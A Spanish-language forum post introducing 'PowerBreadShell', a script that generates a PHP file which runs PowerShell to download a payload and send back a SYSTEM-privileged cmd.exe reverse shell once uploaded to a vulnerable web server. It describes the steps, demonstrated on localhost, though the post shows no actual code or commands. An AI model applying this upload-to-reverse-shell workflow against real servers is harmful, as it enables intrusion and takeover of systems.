    Su funcion genera varios archivos, Index.php (Es un codigo en php para ejecutar un comando de powershell para descargar el payload con el nombre que seleccionastes en PowerBreadShell), Una vez subido el archivo a un servidor vulnerable de prueba nos enviara la shell del sistema (En este caso el cmd.exe), Y seremos el usuario NT AUTHORITY\SYSTEM, Proporcionandonos buenos privilegios para manejar el sistema remotamente o hacer mucho mejor la post explotacion

    Pueden decargar el script desde mi repositorio de Github: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

    El uso es sencillo y semi-automatico, puedes presionar enter y usar las variables por defecto, como yo:



    Por ultimo presionamos [y] o [ENTER] para dar positivo a los valores de las variables y empezar a generar el codigo en php:



    El codigo php, le asignamos un nombre que queramos o lo dejamos tal cual, luego buscamos una pagina vulnerable o una de prueba (En nuestro localhost por ejemplo) y subimos el php, en este caso yo tengo un simple uploader en php que permite subir cualquier tipo de archivo 'esto lo hago como prueba':



    Ya lo subí, ahora sólo hago la peticion donde se encuentra 127.0.0.1:8080/pentest/uploads/payload.php y listo: shell remota con privilegios:



    Como ven es sencillo ... Espero les haya gustado.

    - DtxdF